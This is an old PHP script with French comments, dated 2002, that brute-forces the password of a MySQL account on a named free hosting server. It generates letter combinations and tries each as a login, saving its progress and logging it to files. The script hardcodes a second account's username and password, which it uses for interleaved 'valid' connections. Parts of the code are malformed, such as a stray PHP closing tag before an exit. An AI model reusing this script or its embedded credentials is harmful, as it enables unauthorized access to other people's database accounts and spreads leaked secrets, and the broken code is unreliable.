/*
Jack SQL : pour ceux qui ont du temps a perdre
Serveur de test : sql-gratuit.com
Temps estimé avant de trouver un password : environs 3 millions d'années
Intéret de ce script : peu
c(+) 2002 tobozo
*/
// set_time_limit(0);
$a = @fopen("flag", "r");
$content = @fread($a, filesize("flag"));
@fclose($a);
$split = @explode(";", $content);
if(@count($split)>1) {
//echo "Continuing....\n
";
$startkey = $split[1];
$x = $split[0];
$keyspace = $split[2];
$start = $split[3];
$HASH = $split[4];
$passlength = $split[5];
//echo "$startkey;$x;$keyspace;$start;$HASH;$passlength";exit;
}
$br = "\n"; // ="\r\n"
/*
if(!$str) $str = "aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ";
if(!$HASH) $HASH = "aBcDeFgH"; // string to find
if(!$passlength) $passlength = 8;
if(strlen($HASH)!=$passlength) {
echo "password length and provided chain must match";
$passlength=strlen($HASH);
}
*/
// echo "$keyspace combinaisons\n";
/*
while($i++<=strlen($str)) {
$ary[$i-1]=substr($str, $i-1, 1);
}
*/
//$HASH = $start;
$SIZE = (int) $passlength;
if(!$start) {
$start = strtotime ("now");
$start2= $start;
}
else {
$start2 = strtotime ("now");
}
if(!$startkey) $startkey = 0;
if(!$keyspace) $keyspace = pow(51,$SIZE);
########## GEN first KEY ##################
if(!$key) $key = str_repeat("a", $SIZE);
###########################################
$a=fopen("progress.html", "a+");
fwrite($a,"*** Using SIZE: $SIZE, cracking HASH: $HASH$br".
"*** Presumed KeySpace: ".$keyspace."$br$br");
fclose($a);
for ($x=$startkey;$x<$keyspace;$x++) {
for ($y=0;$y<$SIZE;$y++) {
if ($key[$y] != "z") {
$key[$y] = chr(ord($key[$y])+1);
if ($y > 0) {
for ($z = 0; $z < $y; $z++) $key[$z] = "A";
}
break;
}
}
$key2 = $key; // should b changed later (ex: md5 brute forcing comparison)
if(!ereg("[\[|\\|\]|\^|\_|\`|]", $key2)) {
// perform 1 valid connexion
if(!@mysql_connect("sql-gratuit.com") &&
!@mysql_connect("sql-gratuit.com", "spam_madchat_org", "cGhnByuU"))
$result = mysql_query("SELECT * FROM spam_madchat_org.chplouik")
or die ("Requete invalide");
// perform 1 database test
if(!@mysql_connect("sql-gratuit.com") &&
!@mysql_connect("sql-gratuit.com", "tobozo_madchat_o", "$key")) {
// echo "Mysql Check failed"; // should do nothing
}
else {
// MATCH !!!!
$HASH = $key2;
}
// perform 1 valid connexion
if(!@mysql_connect("sql-gratuit.com") &&
!@mysql_connect("sql-gratuit.com", "spam_madchat_org", "cGhnByuU"))
$result = mysql_query("SELECT * FROM spam_madchat_org.chplouik")
or die ("Requete invalide");
if ($HASH==$key2) {
$msg="$br!!! Found MATCHING WORD: $key !!! $brTook ".date("H:i:s",mktime(0,0,$start2-$start))."$br";
$a=fopen("progress.html", "a+");
fwrite($a, $msg);
fclose($a);
die($msg);
}
// refresh page every 100 connections
if ($x % 50 == 0) { // mod 25
$x2++;
if ($x2 == 4) { // every 4 rows
$x2 =0;
$time = strtotime ("now") - $start;
if ($time==0) $time=1;
$rate = (24000 *4) / $time;
$a=fopen("progress.html", "a+");
fwrite($a, "StartKey : $startkey ... $x/$keyspace ($key) [$rate Keys/sec]$br\n");
fclose($a);
$a=fopen("flag", "w");
fwrite($a, "$startkey;$x;$keyspace;$start;$key;$passlength;$HASH");
fclose($a);
?>
exit;
}
}
// echo $key2.$br;
}
}
$a=fopen("progress.html", "a+");
fwrite($a,"NO MATCHS FOUND :( (SIZE is not correct?)$brTook ".date("H:i:s",mktime(0,0,strtotime("now")-$start2))."$br");
fclose($a);